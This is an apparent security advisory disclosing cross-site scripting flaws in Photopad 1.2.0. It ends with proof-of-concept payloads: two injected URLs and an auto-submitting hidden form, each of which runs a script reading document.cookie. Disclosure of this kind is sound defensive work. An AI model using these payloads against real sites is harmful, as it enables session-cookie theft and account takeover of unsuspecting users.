source: https://www.securityfocus.com/bid/46385/info
Photopad is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
Photopad 1.2.0 is vulnerable; other versions may also be affected.
1. http://host/files.php?action=edit&id=999"><script>alert(document.cookie)</script>
2. http://host/gallery.php?action=view&id=999"><script>alert(document.cookie)</script>
3. <form action="http://host/files.php?action=edit&id=2" method="post" name="main">
<input type="hidden" name="data[title]" value='title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="data[tags]" value='tag'>
</form>
<script>
document.main.submit();
</script>